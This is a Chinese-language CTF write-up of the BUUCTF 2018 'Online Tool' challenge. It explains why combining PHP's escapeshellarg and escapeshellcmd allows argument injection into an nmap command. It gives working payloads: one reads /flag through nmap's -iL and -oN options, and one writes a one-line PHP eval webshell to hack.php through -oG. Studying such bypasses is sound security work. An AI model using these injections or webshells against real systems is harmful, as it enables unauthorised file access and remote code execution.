BUUCTF-[BUUCTF 2018]Online Tool(单引号逃逸、nmap写文件)
知识点
escapeshellarg 函数的用法
- escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
- 功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() ,执行运算符(反引号)
- 定义 :
string escapeshellarg ( string $arg )
具体功能作用举例如下:
<?php var_dump(escapeshellarg("123")); //string(5) "'123'" var_dump(escapeshellarg("12' 3")); //string(10) "'12'\'' 3'" ?>
经过 escapeshellarg 函数处理过的参数被拼凑成 shell 命令,并且被双引号包裹这样就会造成漏洞,这主要在于bash中双引号和单引号解析变量是有区别的。
- 在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,
- 但是双引号不同 , bash 会将变量名解析成变量的值再使用。
#echo `date` 执行命令 Wed 23 Feb 2022 02:18:02 AM UTC #echo '`date`' `date`被单引号包裹,不执行命令 `date` #echo "'`date`'" `date`最外层被双引号包裹,执行命令 'Wed 23 Feb 2022 02:18:02 AM UTC' #echo '"`date`"' `date`最外层被单引号包裹,不执行命令 "`date`"
如上可知, 即使参数用了 escapeshellarg 函数过滤单引号,但参数在拼接命令的时候用了双引号的话还是会导致命令执行的漏洞。
escapeshellcmd 函数的用法
- escapeshellcmd — shell 元字符转义
- 功能 :escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入:
&#;`|*?~<>^()[]{}$\
,\x0A
和\xFF
。'
和"
仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及%
和!
字符都会被空格代替。 - 定义 :
string escapeshellcmd ( string $command)
具体功能作用举例如下:
<?php $a="`whoami`"; echo escapeshellcmd($a); //显示\`whoami\` ?>
escapeshellcmd 和 escapeshellarg 对单引号进行处理的区别
区别:
- 对于单个单引号, escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符
- 对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
举例:
<?php //对于单个单引号, //escapeshellarg 函数转义后,还会在左右各加一个单引号, //但 escapeshellcmd 函数是直接加一个转义符 echo escapeshellarg("who'ami")."\n"; //输出'who'\''ami' echo escapeshellcmd("who'ami")."\n"; //输出who\'ami //对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义 echo escapeshellarg("who''ami")."\n"; //输出'who'\'''\''ami' echo escapeshellcmd("who''ami")."\n"; //输出who''ami ?>
escapeshellcmd 和 escapeshellarg共同使用带来的问题
以本题作为案例,打开场景,显示源代码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox); //mkdir新建目录,加上@是为了屏蔽错误
chdir($sandbox); //进入刚才新建的目录
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
?>
利用方式一
nmap有两个参数如下:
- -iL 从inputfilename文件中读取扫描的目标。
- -oN 把扫描结果重定向到一个可读的文件logfilename中。
payload如下
' -iL /flag -oN flag.txt '
执行payload,将根目录下的flag文件内容作为扫描目标,并将扫描结果重定向到flag.txt文件中,该文件在下图所示的文件夹内
访问该文件,成功拿到flag。
利用方式二
nmap还有一个参数如下:
- -oG 可以实现将命令和结果写到文件。
payload
' <?php @eval($_POST["hack"]);?> -oG hack.php '
执行payload,将一句话木马写入hack.php文件中,该文件在下图所示的文件夹内
蚁剑连接,找到flag。
下面我们详细分析一下利用方式一
测试
<?php $host = "' -iL /flag -oN flag.txt '"; echo $host."\n"; $host = escapeshellarg($host); echo $host."\n"; $host = escapeshellcmd($host); echo $host."\n"; echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host; ?>
1.传入的参数是
' -iL /flag -oN flag.txt '
2.由于escapeshellarg
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
''\'' -iL /flag -oN flag.txt '\'''
3.经过escapeshellcmd
针对第二步处理之后的参数中的\
进行处理转义之后的效果如下所示:
''\\'' -iL /flag -oN flag.txt '\\'''
4.与前面的命令拼接形成的payload如下所示:
nmap -T5 -sT -Pn --host-timeout 2 -F ''\\'' -iL /flag -oN flag.txt '\\'''
5.经过bash执行,最终形成的payload如下所示:
nmap -T5 -sT -Pn --host-timeout 2 -F \ -iL /flag -oN flag.txt \
原因是
6.本机测试,成功执行
参考:http://www.lmxspace.com/2018/07/16/谈谈escapeshellarg参数绕过和注入的问题/